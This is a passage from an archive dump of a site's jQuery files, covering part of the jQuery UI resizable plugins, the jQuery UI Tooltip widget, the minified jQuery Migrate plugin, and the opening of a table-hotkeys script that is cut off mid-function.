that.aspectRatio; continueResize = false; } } if ( hoset + that.size.height >= that.parentData.height ) { that.size.height = that.parentData.height - hoset; if ( pRatio ) { that.size.width = that.size.height * that.aspectRatio; continueResize = false; } } if ( !continueResize ) { that.position.left = that.prevPosition.left; that.position.top = that.prevPosition.top; that.size.width = that.prevSize.width; that.size.height = that.prevSize.height; } }, stop: function() { var that = $( this ).resizable( "instance" ), o = that.options, co = that.containerOffset, cop = that.containerPosition, ce = that.containerElement, helper = $( that.helper ), ho = helper.offset(), w = helper.outerWidth() - that.sizeDiff.width, h = helper.outerHeight() - that.sizeDiff.height; if ( that._helper && !o.animate && ( /relative/ ).test( ce.css( "position" ) ) ) { $( this ).css( { left: ho.left - cop.left - co.left, width: w, height: h } ); } if ( that._helper && !o.animate && ( /static/ ).test( ce.css( "position" ) ) ) { $( this ).css( { left: ho.left - cop.left - co.left, width: w, height: h } ); } } } ); $.ui.plugin.add( "resizable", "alsoResize", { start: function() { var that = $( this ).resizable( "instance" ), o = that.options; $( o.alsoResize ).each( function() { var el = $( this ); el.data( "ui-resizable-alsoresize", { width: parseFloat( el.width() ), height: parseFloat( el.height() ), left: parseFloat( el.css( "left" ) ), top: parseFloat( el.css( "top" ) ) } ); } ); }, resize: function( event, ui ) { var that = $( this ).resizable( "instance" ), o = that.options, os = that.originalSize, op = that.originalPosition, delta = { height: ( that.size.height - os.height ) || 0, width: ( that.size.width - os.width ) || 0, top: ( that.position.top - op.top ) || 0, left: ( that.position.left - op.left ) || 0 }; $( o.alsoResize ).each( function() { var el = $( this ), start = $( this ).data( "ui-resizable-alsoresize" ), style = {}, css = el.parents( ui.originalElement[ 0 ] ).length ? [ "width", "height" ] : [ "width", "height", "top", "left" ]; $.each( css, function( i, prop ) { var sum = ( start[ prop ] || 0 ) + ( delta[ prop ] || 0 ); if ( sum && sum >= 0 ) { style[ prop ] = sum || null; } } ); el.css( style ); } ); }, stop: function() { $( this ).removeData( "ui-resizable-alsoresize" ); } } ); $.ui.plugin.add( "resizable", "ghost", { start: function() { var that = $( this ).resizable( "instance" ), cs = that.size; that.ghost = that.originalElement.clone(); that.ghost.css( { opacity: 0.25, display: "block", position: "relative", height: cs.height, width: cs.width, margin: 0, left: 0, top: 0 } ); that._addClass( that.ghost, "ui-resizable-ghost" ); // DEPRECATED // TODO: remove after 1.12 if ( $.uiBackCompat !== false && typeof that.options.ghost === "string" ) { // Ghost option that.ghost.addClass( this.options.ghost ); } that.ghost.appendTo( that.helper ); }, resize: function() { var that = $( this ).resizable( "instance" ); if ( that.ghost ) { that.ghost.css( { position: "relative", height: that.size.height, width: that.size.width } ); } }, stop: function() { var that = $( this ).resizable( "instance" ); if ( that.ghost && that.helper ) { that.helper.get( 0 ).removeChild( that.ghost.get( 0 ) ); } } } ); $.ui.plugin.add( "resizable", "grid", { resize: function() { var outerDimensions, that = $( this ).resizable( "instance" ), o = that.options, cs = that.size, os = that.originalSize, op = that.originalPosition, a = that.axis, grid = typeof o.grid === "number" ? [ o.grid, o.grid ] : o.grid, gridX = ( grid[ 0 ] || 1 ), gridY = ( grid[ 1 ] || 1 ), ox = Math.round( ( cs.width - os.width ) / gridX ) * gridX, oy = Math.round( ( cs.height - os.height ) / gridY ) * gridY, newWidth = os.width + ox, newHeight = os.height + oy, isMaxWidth = o.maxWidth && ( o.maxWidth < newWidth ), isMaxHeight = o.maxHeight && ( o.maxHeight < newHeight ), isMinWidth = o.minWidth && ( o.minWidth > newWidth ), isMinHeight = o.minHeight && ( o.minHeight > newHeight ); o.grid = grid; if ( isMinWidth ) { newWidth += gridX; } if ( isMinHeight ) { newHeight += gridY; } if ( isMaxWidth ) { newWidth -= gridX; } if ( isMaxHeight ) { newHeight -= gridY; } if ( /^(se|s|e)$/.test( a ) ) { that.size.width = newWidth; that.size.height = newHeight; } else if ( /^(ne)$/.test( a ) ) { that.size.width = newWidth; that.size.height = newHeight; that.position.top = op.top - oy; } else if ( /^(sw)$/.test( a ) ) { that.size.width = newWidth; that.size.height = newHeight; that.position.left = op.left - ox; } else { if ( newHeight - gridY <= 0 || newWidth - gridX <= 0 ) { outerDimensions = that._getPaddingPlusBorderDimensions( this ); } if ( newHeight - gridY > 0 ) { that.size.height = newHeight; that.position.top = op.top - oy; } else { newHeight = gridY - outerDimensions.height; that.size.height = newHeight; that.position.top = op.top + os.height - newHeight; } if ( newWidth - gridX > 0 ) { that.size.width = newWidth; that.position.left = op.left - ox; } else { newWidth = gridX - outerDimensions.width; that.size.width = newWidth; that.position.left = op.left + os.width - newWidth; } } } } ); return $.ui.resizable; } ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/tooltip.js�����������������������������������������������������������������������������0000644�����������������00000034075�14717703502�0011163 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Tooltip 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Tooltip //>>group: Widgets //>>description: Shows additional information for any element on hover or focus. //>>docs: http://api.jqueryui.com/tooltip/ //>>demos: http://jqueryui.com/tooltip/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/tooltip.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.tooltip", { version: "1.13.1", options: { classes: { "ui-tooltip": "ui-corner-all ui-widget-shadow" }, content: function() { var title = $( this ).attr( "title" ); // Escape title, since we're going from an attribute to raw HTML return $( "<a>" ).text( title ).html(); }, hide: true, // Disabled elements have inconsistent behavior across browsers (#8661) items: "[title]:not([disabled])", position: { my: "left top+15", at: "left bottom", collision: "flipfit flip" }, show: true, track: false, // Callbacks close: null, open: null }, _addDescribedBy: function( elem, id ) { var describedby = ( elem.attr( "aria-describedby" ) || "" ).split( /\s+/ ); describedby.push( id ); elem .data( "ui-tooltip-id", id ) .attr( "aria-describedby", String.prototype.trim.call( describedby.join( " " ) ) ); }, _removeDescribedBy: function( elem ) { var id = elem.data( "ui-tooltip-id" ), describedby = ( elem.attr( "aria-describedby" ) || "" ).split( /\s+/ ), index = $.inArray( id, describedby ); if ( index !== -1 ) { describedby.splice( index, 1 ); } elem.removeData( "ui-tooltip-id" ); describedby = String.prototype.trim.call( describedby.join( " " ) ); if ( describedby ) { elem.attr( "aria-describedby", describedby ); } else { elem.removeAttr( "aria-describedby" ); } }, _create: function() { this._on( { mouseover: "open", focusin: "open" } ); // IDs of generated tooltips, needed for destroy this.tooltips = {}; // IDs of parent tooltips where we removed the title attribute this.parents = {}; // Append the aria-live region so tooltips announce correctly this.liveRegion = $( "<div>" ) .attr( { role: "log", "aria-live": "assertive", "aria-relevant": "additions" } ) .appendTo( this.document[ 0 ].body ); this._addClass( this.liveRegion, null, "ui-helper-hidden-accessible" ); this.disabledTitles = $( [] ); }, _setOption: function( key, value ) { var that = this; this._super( key, value ); if ( key === "content" ) { $.each( this.tooltips, function( id, tooltipData ) { that._updateContent( tooltipData.element ); } ); } }, _setOptionDisabled: function( value ) { this[ value ? "_disable" : "_enable" ](); }, _disable: function() { var that = this; // Close open tooltips $.each( this.tooltips, function( id, tooltipData ) { var event = $.Event( "blur" ); event.target = event.currentTarget = tooltipData.element[ 0 ]; that.close( event, true ); } ); // Remove title attributes to prevent native tooltips this.disabledTitles = this.disabledTitles.add( this.element.find( this.options.items ).addBack() .filter( function() { var element = $( this ); if ( element.is( "[title]" ) ) { return element .data( "ui-tooltip-title", element.attr( "title" ) ) .removeAttr( "title" ); } } ) ); }, _enable: function() { // restore title attributes this.disabledTitles.each( function() { var element = $( this ); if ( element.data( "ui-tooltip-title" ) ) { element.attr( "title", element.data( "ui-tooltip-title" ) ); } } ); this.disabledTitles = $( [] ); }, open: function( event ) { var that = this, target = $( event ? event.target : this.element ) // we need closest here due to mouseover bubbling, // but always pointing at the same event target .closest( this.options.items ); // No element to show a tooltip for or the tooltip is already open if ( !target.length || target.data( "ui-tooltip-id" ) ) { return; } if ( target.attr( "title" ) ) { target.data( "ui-tooltip-title", target.attr( "title" ) ); } target.data( "ui-tooltip-open", true ); // Kill parent tooltips, custom or native, for hover if ( event && event.type === "mouseover" ) { target.parents().each( function() { var parent = $( this ), blurEvent; if ( parent.data( "ui-tooltip-open" ) ) { blurEvent = $.Event( "blur" ); blurEvent.target = blurEvent.currentTarget = this; that.close( blurEvent, true ); } if ( parent.attr( "title" ) ) { parent.uniqueId(); that.parents[ this.id ] = { element: this, title: parent.attr( "title" ) }; parent.attr( "title", "" ); } } ); } this._registerCloseHandlers( event, target ); this._updateContent( target, event ); }, _updateContent: function( target, event ) { var content, contentOption = this.options.content, that = this, eventType = event ? event.type : null; if ( typeof contentOption === "string" || contentOption.nodeType || contentOption.jquery ) { return this._open( event, target, contentOption ); } content = contentOption.call( target[ 0 ], function( response ) { // IE may instantly serve a cached response for ajax requests // delay this call to _open so the other call to _open runs first that._delay( function() { // Ignore async response if tooltip was closed already if ( !target.data( "ui-tooltip-open" ) ) { return; } // JQuery creates a special event for focusin when it doesn't // exist natively. To improve performance, the native event // object is reused and the type is changed. Therefore, we can't // rely on the type being correct after the event finished // bubbling, so we set it back to the previous value. (#8740) if ( event ) { event.type = eventType; } this._open( event, target, response ); } ); } ); if ( content ) { this._open( event, target, content ); } }, _open: function( event, target, content ) { var tooltipData, tooltip, delayedShow, a11yContent, positionOption = $.extend( {}, this.options.position ); if ( !content ) { return; } // Content can be updated multiple times. If the tooltip already // exists, then just update the content and bail. tooltipData = this._find( target ); if ( tooltipData ) { tooltipData.tooltip.find( ".ui-tooltip-content" ).html( content ); return; } // If we have a title, clear it to prevent the native tooltip // we have to check first to avoid defining a title if none exists // (we don't want to cause an element to start matching [title]) // // We use removeAttr only for key events, to allow IE to export the correct // accessible attributes. For mouse events, set to empty string to avoid // native tooltip showing up (happens only when removing inside mouseover). if ( target.is( "[title]" ) ) { if ( event && event.type === "mouseover" ) { target.attr( "title", "" ); } else { target.removeAttr( "title" ); } } tooltipData = this._tooltip( target ); tooltip = tooltipData.tooltip; this._addDescribedBy( target, tooltip.attr( "id" ) ); tooltip.find( ".ui-tooltip-content" ).html( content ); // Support: Voiceover on OS X, JAWS on IE <= 9 // JAWS announces deletions even when aria-relevant="additions" // Voiceover will sometimes re-read the entire log region's contents from the beginning this.liveRegion.children().hide(); a11yContent = $( "<div>" ).html( tooltip.find( ".ui-tooltip-content" ).html() ); a11yContent.removeAttr( "name" ).find( "[name]" ).removeAttr( "name" ); a11yContent.removeAttr( "id" ).find( "[id]" ).removeAttr( "id" ); a11yContent.appendTo( this.liveRegion ); function position( event ) { positionOption.of = event; if ( tooltip.is( ":hidden" ) ) { return; } tooltip.position( positionOption ); } if ( this.options.track && event && /^mouse/.test( event.type ) ) { this._on( this.document, { mousemove: position } ); // trigger once to override element-relative positioning position( event ); } else { tooltip.position( $.extend( { of: target }, this.options.position ) ); } tooltip.hide(); this._show( tooltip, this.options.show ); // Handle tracking tooltips that are shown with a delay (#8644). As soon // as the tooltip is visible, position the tooltip using the most recent // event. // Adds the check to add the timers only when both delay and track options are set (#14682) if ( this.options.track && this.options.show && this.options.show.delay ) { delayedShow = this.delayedShow = setInterval( function() { if ( tooltip.is( ":visible" ) ) { position( positionOption.of ); clearInterval( delayedShow ); } }, 13 ); } this._trigger( "open", event, { tooltip: tooltip } ); }, _registerCloseHandlers: function( event, target ) { var events = { keyup: function( event ) { if ( event.keyCode === $.ui.keyCode.ESCAPE ) { var fakeEvent = $.Event( event ); fakeEvent.currentTarget = target[ 0 ]; this.close( fakeEvent, true ); } } }; // Only bind remove handler for delegated targets. Non-delegated // tooltips will handle this in destroy. if ( target[ 0 ] !== this.element[ 0 ] ) { events.remove = function() { var targetElement = this._find( target ); if ( targetElement ) { this._removeTooltip( targetElement.tooltip ); } }; } if ( !event || event.type === "mouseover" ) { events.mouseleave = "close"; } if ( !event || event.type === "focusin" ) { events.focusout = "close"; } this._on( true, target, events ); }, close: function( event ) { var tooltip, that = this, target = $( event ? event.currentTarget : this.element ), tooltipData = this._find( target ); // The tooltip may already be closed if ( !tooltipData ) { // We set ui-tooltip-open immediately upon open (in open()), but only set the // additional data once there's actually content to show (in _open()). So even if the // tooltip doesn't have full data, we always remove ui-tooltip-open in case we're in // the period between open() and _open(). target.removeData( "ui-tooltip-open" ); return; } tooltip = tooltipData.tooltip; // Disabling closes the tooltip, so we need to track when we're closing // to avoid an infinite loop in case the tooltip becomes disabled on close if ( tooltipData.closing ) { return; } // Clear the interval for delayed tracking tooltips clearInterval( this.delayedShow ); // Only set title if we had one before (see comment in _open()) // If the title attribute has changed since open(), don't restore if ( target.data( "ui-tooltip-title" ) && !target.attr( "title" ) ) { target.attr( "title", target.data( "ui-tooltip-title" ) ); } this._removeDescribedBy( target ); tooltipData.hiding = true; tooltip.stop( true ); this._hide( tooltip, this.options.hide, function() { that._removeTooltip( $( this ) ); } ); target.removeData( "ui-tooltip-open" ); this._off( target, "mouseleave focusout keyup" ); // Remove 'remove' binding only on delegated targets if ( target[ 0 ] !== this.element[ 0 ] ) { this._off( target, "remove" ); } this._off( this.document, "mousemove" ); if ( event && event.type === "mouseleave" ) { $.each( this.parents, function( id, parent ) { $( parent.element ).attr( "title", parent.title ); delete that.parents[ id ]; } ); } tooltipData.closing = true; this._trigger( "close", event, { tooltip: tooltip } ); if ( !tooltipData.hiding ) { tooltipData.closing = false; } }, _tooltip: function( element ) { var tooltip = $( "<div>" ).attr( "role", "tooltip" ), content = $( "<div>" ).appendTo( tooltip ), id = tooltip.uniqueId().attr( "id" ); this._addClass( content, "ui-tooltip-content" ); this._addClass( tooltip, "ui-tooltip", "ui-widget ui-widget-content" ); tooltip.appendTo( this._appendTo( element ) ); return this.tooltips[ id ] = { element: element, tooltip: tooltip }; }, _find: function( target ) { var id = target.data( "ui-tooltip-id" ); return id ? this.tooltips[ id ] : null; }, _removeTooltip: function( tooltip ) { // Clear the interval for delayed tracking tooltips clearInterval( this.delayedShow ); tooltip.remove(); delete this.tooltips[ tooltip.attr( "id" ) ]; }, _appendTo: function( target ) { var element = target.closest( ".ui-front, dialog" ); if ( !element.length ) { element = this.document[ 0 ].body; } return element; }, _destroy: function() { var that = this; // Close open tooltips $.each( this.tooltips, function( id, tooltipData ) { // Delegate to close method to handle common cleanup var event = $.Event( "blur" ), element = tooltipData.element; event.target = event.currentTarget = element[ 0 ]; that.close( event, true ); // Remove immediately; destroying an open tooltip doesn't use the // hide animation $( "#" + id ).remove(); // Restore the title if ( element.data( "ui-tooltip-title" ) ) { // If the title attribute has changed since open(), don't restore if ( !element.attr( "title" ) ) { element.attr( "title", element.data( "ui-tooltip-title" ) ); } element.removeData( "ui-tooltip-title" ); } } ); this.liveRegion.remove(); } } ); // DEPRECATED // TODO: Switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for tooltipClass option $.widget( "ui.tooltip", $.ui.tooltip, { options: { tooltipClass: null }, _tooltip: function() { var tooltipData = this._superApply( arguments ); if ( this.options.tooltipClass ) { tooltipData.tooltip.addClass( this.options.tooltipClass ); } return tooltipData; } } ); } return $.ui.tooltip; } ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery-migrate.min.js���������������������������������������������������������������������0000644�����������������00000025730�14717703502�0012601 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! jQuery Migrate v3.3.2 | (c) OpenJS Foundation and other contributors | jquery.org/license */ "undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)||[],o=r.exec(t)||[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")||n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]||(r[e]=!0,s.migrateWarnings.push(e),t&&t.warn&&!s.migrateMute&&(t.warn("JQMIGRATE: "+e),s.migrateTrace&&t.trace&&t.trace()))}function t(e,t,r,n){Object.defineProperty(e,t,{configurable:!0,enumerable:!0,get:function(){return u(n),r},set:function(e){u(n),r=e}})}function o(e,t,r,n){e[t]=function(){return u(n),r.apply(this,arguments)}}s.migrateDeduplicateWarnings=!0,s.migrateWarnings=[],void 0===s.migrateTrace&&(s.migrateTrace=!0),s.migrateReset=function(){r={},s.migrateWarnings.length=0},"BackCompat"===n.document.compatMode&&u("jQuery is not compatible with Quirks Mode");var i,a,c,d={},l=s.fn.init,p=s.find,f=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/,y=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g,m=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;for(i in s.fn.init=function(e){var t=Array.prototype.slice.call(arguments);return"string"==typeof e&&"#"===e&&(u("jQuery( '#' ) is not a valid selector"),t[0]=[]),l.apply(this,t)},s.fn.init.prototype=s.fn,s.find=function(t){var r=Array.prototype.slice.call(arguments);if("string"==typeof t&&f.test(t))try{n.document.querySelector(t)}catch(e){t=t.replace(y,function(e,t,r,n){return"["+t+r+'"'+n+'"]'});try{n.document.querySelector(t),u("Attribute selector with '#' must be quoted: "+r[0]),r[0]=t}catch(e){u("Attribute selector with '#' was not fixed: "+r[0])}}return p.apply(this,r)},p)Object.prototype.hasOwnProperty.call(p,i)&&(s.find[i]=p[i]);o(s.fn,"size",function(){return this.length},"jQuery.fn.size() is deprecated and removed; use the .length property"),o(s,"parseJSON",function(){return JSON.parse.apply(null,arguments)},"jQuery.parseJSON is deprecated; use JSON.parse"),o(s,"holdReady",s.holdReady,"jQuery.holdReady is deprecated"),o(s,"unique",s.uniqueSort,"jQuery.unique is deprecated; use jQuery.uniqueSort"),t(s.expr,"filters",s.expr.pseudos,"jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),t(s.expr,":",s.expr.pseudos,"jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&o(s,"trim",function(e){return null==e?"":(e+"").replace(m,"")},"jQuery.trim is deprecated; use String.prototype.trim"),e("3.2.0")&&(o(s,"nodeName",function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},"jQuery.nodeName is deprecated"),o(s,"isArray",Array.isArray,"jQuery.isArray is deprecated; use Array.isArray")),e("3.3.0")&&(o(s,"isNumeric",function(e){var t=typeof e;return("number"==t||"string"==t)&&!isNaN(e-parseFloat(e))},"jQuery.isNumeric() is deprecated"),s.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){d["[object "+t+"]"]=t.toLowerCase()}),o(s,"type",function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?d[Object.prototype.toString.call(e)]||"object":typeof e},"jQuery.type is deprecated"),o(s,"isFunction",function(e){return"function"==typeof e},"jQuery.isFunction() is deprecated"),o(s,"isWindow",function(e){return null!=e&&e===e.window},"jQuery.isWindow() is deprecated")),s.ajax&&(a=s.ajax,c=/(=)\?(?=&|$)|\?\?/,s.ajax=function(){var e=a.apply(this,arguments);return e.promise&&(o(e,"success",e.done,"jQXHR.success is deprecated and removed"),o(e,"error",e.fail,"jQXHR.error is deprecated and removed"),o(e,"complete",e.always,"jQXHR.complete is deprecated and removed")),e},e("4.0.0")||s.ajaxPrefilter("+json",function(e){!1!==e.jsonp&&(c.test(e.url)||"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&c.test(e.data))&&u("JSON-to-JSONP auto-promotion is deprecated")}));var g=s.fn.removeAttr,h=s.fn.toggleClass,v=/\S+/g;function j(e){return e.replace(/-([a-z])/g,function(e,t){return t.toUpperCase()})}s.fn.removeAttr=function(e){var r=this;return s.each(e.match(v),function(e,t){s.expr.match.bool.test(t)&&(u("jQuery.fn.removeAttr no longer sets boolean properties: "+t),r.prop(t,!1))}),g.apply(this,arguments)};var Q,b=!(s.fn.toggleClass=function(t){return void 0!==t&&"boolean"!=typeof t?h.apply(this,arguments):(u("jQuery.fn.toggleClass( boolean ) is deprecated"),this.each(function(){var e=this.getAttribute&&this.getAttribute("class")||"";e&&s.data(this,"__className__",e),this.setAttribute&&this.setAttribute("class",!e&&!1!==t&&s.data(this,"__className__")||"")}))}),w=/^[a-z]/,x=/^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/;s.swap&&s.each(["height","width","reliableMarginRight"],function(e,t){var r=s.cssHooks[t]&&s.cssHooks[t].get;r&&(s.cssHooks[t].get=function(){var e;return b=!0,e=r.apply(this,arguments),b=!1,e})}),s.swap=function(e,t,r,n){var o,i,a={};for(i in b||u("jQuery.swap() is undocumented and deprecated"),t)a[i]=e.style[i],e.style[i]=t[i];for(i in o=r.apply(e,n||[]),t)e.style[i]=a[i];return o},e("3.4.0")&&"undefined"!=typeof Proxy&&(s.cssProps=new Proxy(s.cssProps||{},{set:function(){return u("JQMIGRATE: jQuery.cssProps is deprecated"),Reflect.set.apply(this,arguments)}})),s.cssNumber||(s.cssNumber={}),Q=s.fn.css,s.fn.css=function(e,t){var r,n,o=this;return e&&"object"==typeof e&&!Array.isArray(e)?(s.each(e,function(e,t){s.fn.css.call(o,e,t)}),this):("number"==typeof t&&(r=j(e),n=r,w.test(n)&&x.test(n[0].toUpperCase()+n.slice(1))||s.cssNumber[r]||u('Number-typed values are deprecated for jQuery.fn.css( "'+e+'", value )')),Q.apply(this,arguments))};var A,k,S,M,N=s.data;s.data=function(e,t,r){var n,o,i;if(t&&"object"==typeof t&&2===arguments.length){for(i in n=s.hasData(e)&&N.call(this,e),o={},t)i!==j(i)?(u("jQuery.data() always sets/gets camelCased names: "+i),n[i]=t[i]):o[i]=t[i];return N.call(this,e,o),t}return t&&"string"==typeof t&&t!==j(t)&&(n=s.hasData(e)&&N.call(this,e))&&t in n?(u("jQuery.data() always sets/gets camelCased names: "+t),2<arguments.length&&(n[t]=r),n[t]):N.apply(this,arguments)},s.fx&&(S=s.Tween.prototype.run,M=function(e){return e},s.Tween.prototype.run=function(){1<s.easing[this.easing].length&&(u("'jQuery.easing."+this.easing.toString()+"' should use only one argument"),s.easing[this.easing]=M),S.apply(this,arguments)},A=s.fx.interval||13,k="jQuery.fx.interval is deprecated",n.requestAnimationFrame&&Object.defineProperty(s.fx,"interval",{configurable:!0,enumerable:!0,get:function(){return n.document.hidden||u(k),A},set:function(e){u(k),A=e}}));var R=s.fn.load,H=s.event.add,C=s.event.fix;s.event.props=[],s.event.fixHooks={},t(s.event.props,"concat",s.event.props.concat,"jQuery.event.props.concat() is deprecated and removed"),s.event.fix=function(e){var t,r=e.type,n=this.fixHooks[r],o=s.event.props;if(o.length){u("jQuery.event.props are deprecated and removed: "+o.join());while(o.length)s.event.addProp(o.pop())}if(n&&!n._migrated_&&(n._migrated_=!0,u("jQuery.event.fixHooks are deprecated and removed: "+r),(o=n.props)&&o.length))while(o.length)s.event.addProp(o.pop());return t=C.call(this,e),n&&n.filter?n.filter(t,e):t},s.event.add=function(e,t){return e===n&&"load"===t&&"complete"===n.document.readyState&&u("jQuery(window).on('load'...) called after load event occurred"),H.apply(this,arguments)},s.each(["load","unload","error"],function(e,t){s.fn[t]=function(){var e=Array.prototype.slice.call(arguments,0);return"load"===t&&"string"==typeof e[0]?R.apply(this,e):(u("jQuery.fn."+t+"() is deprecated"),e.splice(0,0,t),arguments.length?this.on.apply(this,e):(this.triggerHandler.apply(this,e),this))}}),s.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,r){s.fn[r]=function(e,t){return u("jQuery.fn."+r+"() event shorthand is deprecated"),0<arguments.length?this.on(r,null,e,t):this.trigger(r)}}),s(function(){s(n.document).triggerHandler("ready")}),s.event.special.ready={setup:function(){this===n.document&&u("'ready' event is deprecated")}},s.fn.extend({bind:function(e,t,r){return u("jQuery.fn.bind() is deprecated"),this.on(e,null,t,r)},unbind:function(e,t){return u("jQuery.fn.unbind() is deprecated"),this.off(e,null,t)},delegate:function(e,t,r,n){return u("jQuery.fn.delegate() is deprecated"),this.on(t,e,r,n)},undelegate:function(e,t,r){return u("jQuery.fn.undelegate() is deprecated"),1===arguments.length?this.off(e,"**"):this.off(t,e||"**",r)},hover:function(e,t){return u("jQuery.fn.hover() is deprecated"),this.on("mouseenter",e).on("mouseleave",t||e)}});function T(e){var t=n.document.implementation.createHTMLDocument("");return t.body.innerHTML=e,t.body&&t.body.innerHTML}function P(e){var t=e.replace(O,"<$1></$2>");t!==e&&T(e)!==T(t)&&u("HTML tags must be properly nested and closed: "+e)}var O=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,q=s.htmlPrefilter;s.UNSAFE_restoreLegacyHtmlPrefilter=function(){s.htmlPrefilter=function(e){return P(e),e.replace(O,"<$1></$2>")}},s.htmlPrefilter=function(e){return P(e),q(e)};var D,_=s.fn.offset;s.fn.offset=function(){var e=this[0];return!e||e.nodeType&&e.getBoundingClientRect?_.apply(this,arguments):(u("jQuery.fn.offset() requires a valid DOM element"),arguments.length?this:void 0)},s.ajax&&(D=s.param,s.param=function(e,t){var r=s.ajaxSettings&&s.ajaxSettings.traditional;return void 0===t&&r&&(u("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),t=r),D.call(this,e,t)});var E,F,J=s.fn.andSelf||s.fn.addBack;return s.fn.andSelf=function(){return u("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),J.apply(this,arguments)},s.Deferred&&(E=s.Deferred,F=[["resolve","done",s.Callbacks("once memory"),s.Callbacks("once memory"),"resolved"],["reject","fail",s.Callbacks("once memory"),s.Callbacks("once memory"),"rejected"],["notify","progress",s.Callbacks("memory"),s.Callbacks("memory")]],s.Deferred=function(e){var i=E(),a=i.promise();return i.pipe=a.pipe=function(){var o=arguments;return u("deferred.pipe() is deprecated"),s.Deferred(function(n){s.each(F,function(e,t){var r="function"==typeof o[e]&&o[e];i[t[1]](function(){var e=r&&r.apply(this,arguments);e&&"function"==typeof e.promise?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[t[0]+"With"](this===a?n.promise():this,r?[e]:arguments)})}),o=null}).promise()},e&&e.call(i,i),i},s.Deferred.exceptionHook=E.exceptionHook),s}); ����������������������������������������js/jquery/jquery.table-hotkeys.min.js���������������������������������������������������������������0000644�����������������00000004367�14717703502�0013730 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(function(a){a.fn.filter_visible=function(c){c=c||3;var b=function(){var e=a(this),d;for(d=0;d<c-1;++d){if(!e.is(":visible")){return false}e=e.parent()}return true};return this.filter(b)};a.table_hotkeys=function(p,q,b){b=a.extend(a.table_hotkeys.defaults,b);var i,l,e,f,m,d,k,o,c,h,g,n,j;i=b.class_prefix+b.selected_suffix;l=b.class_prefix+b.destructive_suffix;e=function(r){if(a.table_hotkeys.current_row){a.table_hotkeys.current_row.removeClass(i)}r.addClass(i);r[0].scrollIntoView(false);a.table_hotkeys.current_row=r};f=function(r){if(!d(r)&&a.isFunction(b[r+"_page_link_cb"])){b[r+"_page_link_cb"]()}};m=function(s){var r,t;if(!a.table_hotkeys.current_row){r=h();a.table_hotkeys.current_row=r;return r[0]}t="prev"==s?a.fn.prevAll:a.fn.nextAll;return t.call(a.table_hotkeys.current_row,b.cycle_expr).filter_visible()[0]};d=function(s){var r=m(s);if(!r){return false}e(a(r));return true};k=function(){return d("prev")};o=function(){return d("next")};c=function(){a(b.checkbox_expr,a.table_hotkeys.current_row).each(function(){this.checked=!this.checked})};h=function(){return a(b.cycle_expr,p).filter_visible().eq(b.start_row_index)};g=function(){var r=a(b.cycle_expr,p).filter_visible();return r.eq(r.length-1)};n=function(r){return function(){if(null==a.table_hotkeys.current_row){return false}var s=a(r,a.table_hotkeys.current_row);if(!s.length){return false}if(s.is("."+l)){o()||k()}s.click()}};j=h();if(!j.length){return}if(b.highlight_first){e(j)}else{if(b.highlight_last){e(g())}}a.hotkeys.add(b.prev_key,b.hotkeys_opts,function(){return f("prev")});a.hotkeys.add(b.next_key,b.hotkeys_opts,function(){return f("next")});a.hotkeys.add(b.mark_key,b.hotkeys_opts,c);a.each(q,function(){var s,r;if(a.isFunction(this[1])){s=this[1];r=this[0];a.hotkeys.add(r,b.hotkeys_opts,function(t){return 